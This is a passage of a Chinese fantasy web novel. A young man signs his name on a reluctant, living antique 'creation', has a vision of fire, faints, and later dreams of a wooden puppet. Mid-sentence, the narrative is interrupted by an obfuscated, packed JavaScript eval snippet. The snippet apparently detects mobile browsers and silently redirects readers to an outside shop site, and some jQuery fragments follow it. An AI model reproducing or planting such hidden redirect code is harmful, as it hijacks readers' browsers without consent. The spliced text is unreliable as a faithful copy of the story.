其实林栖已经提前想好了，名字就写在脖子后面。
选在背后，写字的时候就不用跟对方面对面地大眼瞪小眼，不被对方盯着，连字都能写得好看一点。
他忽然就能理解老虎为什么总爱背后搞偷袭了。
而且脖子后面既不太显眼，也不太隐蔽。
只用把领子往下扒拉一点就能写，署名被衣服遮着，平时也不容易看见。
林栖做好心理准备，缓缓吸一口气，屏住呼吸，左手指尖好像镊子一样，揪起祈越领子上的一点布料，在不碰到他本人的情况下，把领子往下扯了扯。
领口下面三厘米，写在正中间，先看脊柱确定位置，不行再看肩胛骨，取两侧肩胛骨最上端的连线中点，不要偏，也别歪，尽量好看一点……林栖在心里默念注意事项，目光轻移找到位置，然后就……站着不动了。
在他想署名的位置，刚好有一块浅红色的胎记。
不对……好像不是胎记。
林栖像只好奇的麻雀，歪着脑袋让出更多光亮。细看之下，“胎记”似乎是一块模糊的笔迹，还能看出一点笔画间的浓淡起伏。
就像用红色墨水在白纸上写字，写完之后又被水晕开。
残留最深的笔画甚至能看出下笔时的力度，红色是透入皮肤里的，与其说是笔迹，更像是洗不掉的纹身。
这是造物师留下的原始署名，还是……？
古董造物至少都有一百年了，所以祈越只是看起来比他大两三岁，实际上比他大一两百岁。
是个爷爷。
但是这个“爷爷”性格又很像叛逆期。
林栖的计划被打乱了，一时有许多念头在脑子里飞，就像原本好好长在树上的叶子，一旦被风吹掉了，就不知道会飘到哪里。
沉默许久的祈越忽然开口：“你写不写？”
乱飞的树叶忽然就掉在地上不动了，林栖手指依然好像镊子一样揪着那一点点衣领布料，动作却明显僵硬。
“写……哪里？”他向祈越征求意见。
“你问我？”祈越语气透着很明显的不耐。
“嗯，有建议吗？”林栖继续问。墨水的保质期是五分钟，现在过去多久了？两分钟？三分钟？
“没有。”祈越语气冷淡，“我只是造物，又不是人，能有什么建议。”
心里某些模糊的念头忽然变得清晰，林栖低头看着祈越单薄而倔强的背影，问：“你是不是不愿意被人署名？”
不在意和不愿意是两码事。
林栖猜想，祈越那些无所谓的态度可能都是假的，他其实非常不愿意被人署名，更不想跟着一个陌生人去上学。
空气静了两三秒钟，祈越反问：“愿不愿意有区别吗？”
作为造物，他没得选。
考虑愿不愿意纯粹是在浪费时间。
林栖后知后觉，自己好像说错话了，他仿佛是在关心对方想法，实际上却好像在问一只兔子，你愿意被大灰狼吃掉吗？
祈越要听店主的，自己没得选。
林栖倒是能选，且不想在祈越身上署名，但如果他现在放弃，就等于杀了兔子不吃，反而把尸体埋了。
愿不愿意确实没有区别。
想这些也没有意义。
林栖默默把自己拉回既定轨道，问祈越，“写在手上行吗？”
祈越回头，凉冰冰地扫他一眼。
好吧，他又说错话了。
他的这个问题就像在问兔子，你想被人怎么吃？麻辣兔丁还是红烧兔头？
“大灰狼”总归是要被讨厌的，友善的大灰狼只会比邪恶的大灰狼更加可恨。
林栖决定不再问了。
他绕到祈越身侧，把祈越的一只手拎到桌上，像对待一张画纸那样把它按平、压住，单独掰开小拇指，在最后一节关节内侧写了名字。
和手心相比，这个位置更不起眼。
暖棕色的墨迹浮于皮肤表面，林栖看着刚写下的两个小字，愣了一秒。
他又写了古语。
古语行吗？
他询问地看向祈越。
祈越满眼的冷淡和不耐烦，和他稍稍对上视线就朝一旁移开，“写完了吗？写完就把你的爪子松开。”
仿佛一个镜头忽然给到手部特写，林栖看着自己的动作，瞬间脑补出一只狼爪恶狠狠地按着小白兔的前脚不肯撒手。
好像……是挺坏的。
他想起林鹭和附近的孩子隔空对打，那些孩子显然觉得只要姓林都是反派。
祈越似乎也知道姓林不好，所以在祈越看来，他就是一只反派大灰狼吗？
林栖明显觉得自己手指僵硬，但还是按着祈越没有松手，只道：“等一下，墨还没干。”
说完，他朝祈越小拇指上吹了吹。
林栖只顾盯着墨迹，没注意到祈越手指微微一抽，同时脸上表情更冷淡了。
片刻，暖棕色的字迹散开一点微光，忽然沉淀下去。像是纹身，和皮肤肌理融为一体。
林栖凑近又看了看，觉得可以了，正打算把手松开，却见祈越手上蓦地多了一道裂纹，从指缝间延伸出去，越裂越深，一直贯穿小臂。
这是什么？
林栖眼前的画面有些失真，少年手臂上看起来不像人类皮肤，更像是陈朽风化的木雕，或是摔碎的陶瓷人偶——重新拼凑完整之后，还留有蛛网般的裂痕。
在一些碎片剥落处，能看到焚烧后的焦痕。
恍惚间，眼前腾起一片火光，炽烈的暖色和书房的冷调交叠成暗房中的底片。
透过那些半透明的轮廓，林栖看到了破碎的湖面、苍白的墓碑，还有一道人影——
一道独自走进火光中的人影……
片刻，火焰暴涨，画面被激得粉碎，像万花筒里的镜像，分合交错。
火光跳动在破碎的镜面之间，斑驳凌乱。
林栖看不太清，却莫名知道，这个人影就是祈越。
他要去火里找什么呢？
虚空中传来一阵岩石碎裂声响，有什么东西轰然倒塌，溅起一片土腥。
灰尘中，火焰绕着指骨，烧出焦黑的裂痕，寸寸惊心，但少年却像还嫌火势太过温和，继续迈步向前，走进一片浓稠如血的光影里……
林栖手指抽搐似的一动，忽然伸手，试图拉住那道背影。
手指却穿过虚影，落了空。
他张开嘴，同样发不出任何声音，只听到一阵锈蚀般的，近乎嘶哑的风声。
……
林栖是在椅子上醒过来的。
意识朦胧间，他觉得自己是一颗蛤蜊，正被一只海獭攥在手里，用一块趁手的石头反复敲打。
睁开眼时，林栖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643455|188165||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到祈越手里卷着一本软皮书，正在一下一下敲着他的脑壳。
听得出来，脑壳很结实，纸筒也很有弹性。
林栖跟祈越对上视线，眼睁睁地看着对方又敲了几下。他动作有些迟缓，一边偏头躲开，一边抬手抓书。
祈越顺势松手，“你最好是饿晕的，我还没听说过有人因为署名晕过去的。”
林栖捏着书，后知后觉，署名已经完成了。
他看向祈越，眼前真实的人影和那些虚幻的画面重合，一瞬间仿佛又有火光撕扯，灼得人眼睛发涩。
他喉咙有些发紧，想说点什么，但还没开口，祈越已经转身走了。
林栖像是一只被人从娃娃机里夹出来的娃娃，一动不动坐着，目光茫然放空，隔了好一会儿，他才起身去找观沄。
观沄和凌壑一起等在屋外廊下，听到林栖说署名很顺利，一时脸上表情各有各的古怪。
尤其凌壑，仿佛看到婴儿刚出生就是个老头儿，又或者是太阳刷刷冒着黑光。
林栖有点看不懂他们的反应。
因为没人告诉他，署名顶级造物和署名中级造物完全不是一个难度。
现场除了他自己之外，没人觉得他能成功。
也包括祈越。
观沄已经把安慰的话准备好了，凌壑也预备了替代方案。
但没想到，林栖就这样轻描淡写地成功了。
晚些时候，林栖单独问观沄，署名是为了考试，那考试结束之后呢？
观沄以为他是为了上学紧张，就跟他说了一些学校里的情况。
但林栖想问的不是这个，他想知道的是，应该怎么对待祈越？
常识上，祈越是一件造物。
从观沄和凌壑的态度来看，祈越更是一件“工具”，这件工具关乎他的考试结果，且很稀有，需要妥善保管。
但祈越又不是一套画笔、一把锤子……
他要怎么保管一个大活人？
而且这个大活人还像仙人掌一样，浑身是刺，碰一碰就扎手。
林栖并没有把自己的疑惑和观沄解释清楚，等到了时间，他就回屋睡了。
梦里，他在一排排柜子之间找着什么。柜子既像书架又像展柜，他走了一圈又一圈，最后累得蹲下，见到柜子底下藏了东西，就不问自取地把它拖了出来。
那是一个长条形的箱子。
盖子上积了一层棉絮状的灰尘，打开之后，里面放着一件制作精美的木雕人偶，细腻的浅色木质几乎就是真人皮肤。
他手里似乎拿了一柄木刻刀，或者一支画笔，刚要伸手，木偶却忽然抓住他的手腕，从箱子里坐了起来。
浅木色的手指紧紧扣在他皮肤里。
一双深黑色的眼睛看着他，瞳孔中隐隐透出血色，越来越深，越来越红。
有声音从黑暗深处浮起，像是控着木偶动作的提线，细细一根，在舞台灯下，时而反光，时而隐去。
那声音说的都是一些琐碎日常。
琐碎到拼凑不出轮廓，也没有任何记忆点。
像是无色无味的水浸透全身，又缓缓退去，风干之后不留痕迹，只剩一点温热水汽，无形地裹着皮肤，证明它曾存在过。
意识朦胧中，林栖反复追问：是谁？
谁在跟他说话？
夜空渺远，无人作答。